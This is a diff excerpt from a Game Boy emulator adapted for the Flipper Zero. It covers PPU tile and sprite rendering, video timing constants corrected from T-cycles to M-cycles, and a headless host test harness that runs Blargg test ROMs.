uint tile_y = scrolled_y / TILE_HEIGHT_PX;
uint tile_pixel_y = scrolled_y % TILE_HEIGHT_PX;
uint tile_data_line_offset = tile_pixel_y * 2;
for(uint screen_x = 0; screen_x < GAMEBOY_WIDTH; screen_x++) {
uint scrolled_x = screen_x + window_x.value() - 7;
uint tile_x = scrolled_x / TILE_WIDTH_PX;
uint tile_pixel_x = scrolled_x % TILE_WIDTH_PX;
uint tile_index = tile_y * TILES_PER_LINE + tile_x;
if(tile_index >= 32 * 32) continue;
u8 tile_id = video_ram[tile_map_address - 0x8000 + tile_index];
uint tile_data_mem_offset = use_tile_set_zero ?
tile_id * TILE_BYTES :
static_cast<uint>(
(static_cast<s8>(tile_id) + 128)) *
TILE_BYTES;
uint line_addr = (tile_set_address - 0x8000) + tile_data_mem_offset +
tile_data_line_offset;
u8 pixels_1 = video_ram[line_addr];
u8 pixels_2 = video_ram[line_addr + 1];
u8 pixel_color = get_pixel_from_line(pixels_1, pixels_2, static_cast<u8>(tile_pixel_x));
buffer.set_pixel(screen_x, screen_y, get_shade_from_palette(pixel_color, palette));
}
}
void Video::draw_sprite(const uint sprite_n) {
/* Each sprite is represented by 4 bytes */
u16 oam_start = static_cast<u16>(sprite_n * SPRITE_BYTES);
u8 sprite_y = gb.mmu.oam_ram[oam_start];
u8 sprite_x = gb.mmu.oam_ram[oam_start + 1];
/* Offscreen sprites are not drawn */
if(sprite_y == 0 || sprite_y >= 160) {
return;
}
if(sprite_x == 0 || sprite_x >= 168) {
return;
}
uint sprite_height = sprite_size() ? 16 : 8;
u8 pattern_n = gb.mmu.oam_ram[oam_start + 2];
u8 sprite_attrs = gb.mmu.oam_ram[oam_start + 3];
/* Bits 0-3 are used only for CGB */
bool use_palette_1 = check_bit(sprite_attrs, 4);
bool flip_x = check_bit(sprite_attrs, 5);
bool flip_y = check_bit(sprite_attrs, 6);
bool obj_behind_bg = check_bit(sprite_attrs, 7);
Palette palette = use_palette_1 ? load_palette(sprite_palette_1) :
load_palette(sprite_palette_0);
uint tile_offset = pattern_n * TILE_BYTES;
int start_y = sprite_y - 16;
int start_x = sprite_x - 8;
for(uint y = 0; y < sprite_height; y++) {
int screen_y = start_y + static_cast<int>(y);
if(screen_y < 0 || screen_y >= static_cast<int>(GAMEBOY_HEIGHT)) continue;
if(row_mask && !row_mask[screen_y]) continue;
uint src_y = !flip_y ? y : sprite_height - y - 1;
uint line_addr = tile_offset + src_y * 2; /* relative to tile set zero */
u8 pixels_1 = video_ram[line_addr];
u8 pixels_2 = video_ram[line_addr + 1];
for(uint x = 0; x < TILE_WIDTH_PX; x++) {
int screen_x = start_x + static_cast<int>(x);
if(screen_x < 0 || screen_x >= static_cast<int>(GAMEBOY_WIDTH)) continue;
uint src_x = !flip_x ? x : TILE_WIDTH_PX - x - 1;
u8 gb_color = get_pixel_from_line(pixels_1, pixels_2, static_cast<u8>(src_x));
/* Color 0 is transparent */
if(gb_color == 0) {
continue;
}
Shade existing_pixel = buffer.get_pixel(
static_cast<uint>(screen_x), static_cast<uint>(screen_y));
/* Note: same behaviour as upstream - compares the final shade
* rather than the logical color 0 */
if(obj_behind_bg && existing_pixel != SHADE_WHITE) {
continue;
}
buffer.set_pixel(
static_cast<uint>(screen_x),
static_cast<uint>(screen_y),
get_shade_from_palette(gb_color, palette));
}
}
}
auto Video::get_pixel_from_line(u8 byte1, u8 byte2, u8 pixel_index) -> u8 {
using bitwise::bit_value;
return static_cast<u8>(
(bit_value(byte2, 7 - pixel_index) << 1) | bit_value(byte1, 7 - pixel_index));
}
auto Video::load_palette(const ByteRegister& palette_register) -> Palette {
u8 v = palette_register.value();
Palette palette;
palette.color0 = static_cast<Shade>(v & 0x3);
palette.color1 = static_cast<Shade>((v >> 2) & 0x3);
palette.color2 = static_cast<Shade>((v >> 4) & 0x3);
palette.color3 = static_cast<Shade>((v >> 6) & 0x3);
return palette;
}
auto Video::get_shade_from_palette(u8 color, const Palette& palette) -> Shade {
switch(color) {
case 0:
return palette.color0;
case 1:
return palette.color1;
case 2:
return palette.color2;
default:
return palette.color3;
}
}
void Video::draw() {
if(vblank_callback) vblank_callback(vblank_ctx);
}
+139
View File
@@ -0,0 +1,139 @@
#pragma once
#include "framebuffer.h"
#include "address.h"
#include "register.h"
#include "definitions.h"
class Gameboy;
using vblank_callback_t = void (*)(void* ctx);
enum class VideoMode {
ACCESS_OAM,
ACCESS_VRAM,
HBLANK,
VBLANK,
};
class Video {
public:
Video(Gameboy& inGb);
void tick(Cycles cycles);
void register_vblank_callback(vblank_callback_t cb, void* ctx) {
vblank_callback = cb;
vblank_ctx = ctx;
}
auto vram_read(u16 offset) const -> u8 { return video_ram[offset]; }
void vram_write(u16 offset, u8 value) { video_ram[offset] = value; }
/* When true, scanline/sprite rendering work is skipped (frame skip);
* timing, interrupts and register behaviour are unaffected. */
bool skip_render = false;
/* Optional per-scanline render mask (GAMEBOY_HEIGHT entries, 0 = the
* frontend never displays this line so its pixels are not rendered).
* Purely a display optimization: timing/interrupts are unaffected.
* nullptr (default) renders every line. On the Flipper only 64 of the
* 144 lines survive the downscale, so ~55% of PPU work is skipped. */
const u8* row_mask = nullptr;
void set_row_mask(const u8* mask) {
row_mask = mask;
buffer.set_row_map(mask); /* compact storage to the visible rows */
}
auto get_framebuffer() const -> const FrameBuffer& { return buffer; }
u8 control_byte = 0;
ByteRegister lcd_control;
ByteRegister lcd_status;
ByteRegister scroll_y;
ByteRegister scroll_x;
ByteRegister line; /* LY */
ByteRegister ly_compare;
ByteRegister window_y;
ByteRegister window_x; /* Note: x - 7 */
ByteRegister bg_palette;
ByteRegister sprite_palette_0; /* OBP0 */
ByteRegister sprite_palette_1; /* OBP1 */
ByteRegister dma_transfer; /* DMA */
private:
void write_scanline(u8 current_line);
void write_sprites();
void draw();
void draw_bg_line(uint current_line);
void draw_window_line(uint current_line);
void draw_sprite(uint sprite_n);
static auto get_pixel_from_line(u8 byte1, u8 byte2, u8 pixel_index) -> u8;
static auto is_on_screen(int x, int y) -> bool {
return x >= 0 && y >= 0 && x < static_cast<int>(GAMEBOY_WIDTH) &&
y < static_cast<int>(GAMEBOY_HEIGHT);
}
auto display_enabled() const -> bool;
auto window_tile_map() const -> bool;
auto window_enabled() const -> bool;
auto bg_window_tile_data() const -> bool;
auto bg_tile_map_display() const -> bool;
auto sprite_size() const -> bool;
auto sprites_enabled() const -> bool;
auto bg_enabled() const -> bool;
static auto load_palette(const ByteRegister& palette_register) -> Palette;
static auto get_shade_from_palette(u8 color, const Palette& palette) -> Shade;
Gameboy& gb;
FrameBuffer buffer;
u8 video_ram[0x2000] = {}; /* DMG: 8 KB (was 16 KB upstream) */
VideoMode current_mode = VideoMode::ACCESS_OAM;
uint cycle_counter = 0;
vblank_callback_t vblank_callback = nullptr;
void* vblank_ctx = nullptr;
};
const uint TILES_PER_LINE = 32;
const uint TILE_HEIGHT_PX = 8;
const uint TILE_WIDTH_PX = 8;
const uint TILE_BYTES = 2 * 8;
const uint SPRITE_BYTES = 4;
const uint BG_MAP_SIZE = 256;
const u16 TILE_SET_ZERO_ADDRESS = 0x8000;
const u16 TILE_SET_ONE_ADDRESS = 0x8800;
const u16 TILE_MAP_ZERO_ADDRESS = 0x9800;
const u16 TILE_MAP_ONE_ADDRESS = 0x9C00;
/* All in machine cycles (M-cycles), matching the CPU cycle tables.
*
* IMPORTANT: upstream had these in T-cycles (204/80/172, 456 per scanline)
* while the opcode tables count M-cycles (NOP = 1). The PPU counted M-cycles
* against T-cycle constants, so every emulated frame burned 70224 M-cycles
* of CPU emulation instead of the hardware-correct 17556: literally 4x the
* work per frame (and 4x the timer interrupts per frame). A desktop CPU
* hides that; on a 64 MHz Cortex-M4 it was the difference between slideshow
* and playable. Real hardware: scanline = 456 T-cycles = 114 M-cycles. */
const uint CLOCKS_PER_HBLANK = 51; /* Mode 0: 204 T-cycles */
const uint CLOCKS_PER_SCANLINE_OAM = 20; /* Mode 2: 80 T-cycles */
const uint CLOCKS_PER_SCANLINE_VRAM = 43; /* Mode 3: 172 T-cycles */
const uint CLOCKS_PER_SCANLINE =
(CLOCKS_PER_SCANLINE_OAM + CLOCKS_PER_SCANLINE_VRAM + CLOCKS_PER_HBLANK);
const uint CLOCKS_PER_VBLANK = 1140; /* Mode 1: 4560 T-cycles */
const uint SCANLINES_PER_FRAME = 144;
const uint CLOCKS_PER_FRAME = (CLOCKS_PER_SCANLINE * SCANLINES_PER_FRAME) + CLOCKS_PER_VBLANK;
Binary file not shown.
@@ -0,0 +1,188 @@
/* Host test harness: runs a ROM headless on the PC and captures the serial
* output (Blargg's test ROMs print their results through the serial port).
* Usage: hosttest <rom.gb> [max_frames] [--dump-frame N]
*/
#include "../gb/gameboy.h"
#include <cstdio>
#include <cstdlib>
#include <cstring>
static u8* g_rom = nullptr;
static long g_rom_size = 0;
static char g_serial[4096];
static unsigned g_serial_len = 0;
extern "C" void gb_fatal(const char* msg) {
fprintf(stderr, "FATAL: %s\n", msg);
exit(2);
}
static void serial_hook(u8 byte) {
if(g_serial_len < sizeof(g_serial) - 1) {
g_serial[g_serial_len++] = static_cast<char>(byte);
g_serial[g_serial_len] = 0;
fputc(byte, stdout);
fflush(stdout);
}
}
static const u8* bank_provider(void* /*ctx*/, uint bank) {
long offset = static_cast<long>(bank) * 0x4000;
if(offset + 0x4000 > g_rom_size) offset = 0;
return g_rom + offset;
}
static FrameBuffer g_last_frame;
static void frame_hook(void* ctx) {
g_last_frame = static_cast<Gameboy*>(ctx)->get_framebuffer();
}
/* Same dominant-voice heuristic the Flipper frontend uses for the piezo */
static bool pick_voice(Gameboy* gb, ApuVoice* out, int* out_ch) {
ApuVoice v;
bool have = false;
for(uint n = 0; n < 2; n++) {
gb->apu.get_voice(n, &v);
if(!v.active) continue;
if(!have || v.volume > out->volume ||
(v.volume == out->volume && v.order > out->order)) {
*out = v;
*out_ch = (int)n;
have = true;
}
}
if(!have) {
gb->apu.get_voice(2, &v);
if(v.active) {
*out = v;
*out_ch = 2;
have = true;
}
}
if(!have) {
gb->apu.get_voice(3, &v);
if(v.active) {
*out = v;
*out_ch = 3;
have = true;
}
}
return have;
}
static void dump_frame_ascii(const FrameBuffer& fb) {
const char* shades = " .*#";
/* downsample x2 for terminal readability */
for(uint y = 0; y < GAMEBOY_HEIGHT; y += 2) {
for(uint x = 0; x < GAMEBOY_WIDTH; x += 2) {
printf("%c", shades[fb.get_pixel(x, y)]);
}
printf("\n");
}
}
int main(int argc, char** argv) {
if(argc < 2) {
fprintf(
stderr,
"usage: %s <rom.gb> [max_frames] [--dump-frame] [--rowmask] [--dump-audio]\n",
argv[0]);
return 1;
}
long max_frames = argc > 2 ? atol(argv[2]) : 2000;
bool dump = false;
bool rowmask = false;
bool dump_audio = false;
for(int i = 1; i < argc; i++) {
if(!strcmp(argv[i], "--dump-frame")) dump = true;
if(!strcmp(argv[i], "--rowmask")) rowmask = true;
if(!strcmp(argv[i], "--dump-audio")) dump_audio = true;
}
/* Same 144 -> 64 line subsampling the Flipper frontend uses */
static u8 mask[GAMEBOY_HEIGHT];
for(uint y = 0; y < 64; y++)
mask[(y * GAMEBOY_HEIGHT) / 64] = 1;
FILE* f = fopen(argv[1], "rb");
if(!f) {
fprintf(stderr, "cannot open %s\n", argv[1]);
return 1;
}
fseek(f, 0, SEEK_END);
g_rom_size = ftell(f);
fseek(f, 0, SEEK_SET);
g_rom = static_cast<u8*>(malloc(static_cast<size_t>(g_rom_size)));
if(fread(g_rom, 1, static_cast<size_t>(g_rom_size), f) != static_cast<size_t>(g_rom_size)) {
fprintf(stderr, "short read\n");
return 1;
}
fclose(f);
gb_serial_hook = serial_hook;
MBCType mbc = Cartridge::parse_mbc(g_rom[0x147]);
if(mbc == MBCType::Unsupported) {
fprintf(stderr, "unsupported mapper 0x%02X\n", g_rom[0x147]);
return 1;
}
uint banks = Cartridge::rom_bank_count_from_header(g_rom[0x148]);
u32 ram_size = Cartridge::ram_size_from_header(g_rom[0x149], mbc);
u8* cart_ram = ram_size ? static_cast<u8*>(calloc(1, ram_size)) : nullptr;
fprintf(
stderr,
"rom: %ld bytes, mapper=%d, banks=%u, cart_ram=%u\n",
g_rom_size,
static_cast<int>(mbc),
banks,
ram_size);
auto* gb = new Gameboy(g_rom, banks, mbc, cart_ram, ram_size, bank_provider, nullptr);
gb->set_frame_callback(frame_hook, gb);
if(rowmask) gb->set_row_mask(mask);
u32 last_freq = 0;
int last_ch = -1;
u8 last_vol = 0;
for(long frame = 0; frame < max_frames; frame++) {
gb->run_to_vblank();
if(dump_audio) {
ApuVoice v;
int ch = -1;
bool have = pick_voice(gb, &v, &ch);
u32 f = have ? v.freq_hz : 0;
u8 vol = have ? v.volume : 0;
if(f != last_freq || ch != last_ch || vol != last_vol) {
if(have)
printf("f=%05ld ch%d %5u Hz vol=%2u\n", frame, ch, f, vol);
else
printf("f=%05ld silence\n", frame);
last_freq = f;
last_ch = ch;
last_vol = vol;
}
}
if(strstr(g_serial, "Passed") || strstr(g_serial, "Failed")) {
/* let it print the tail */
for(int i = 0; i < 30; i++)
gb->run_to_vblank();
break;
}
}
if(dump) dump_frame_ascii(g_last_frame);
printf("\n");
if(strstr(g_serial, "Passed")) return 0;
if(strstr(g_serial, "Failed")) return 3;
return 4; /* no verdict */
}

Some files were not shown because too many files have changed in this diff Show More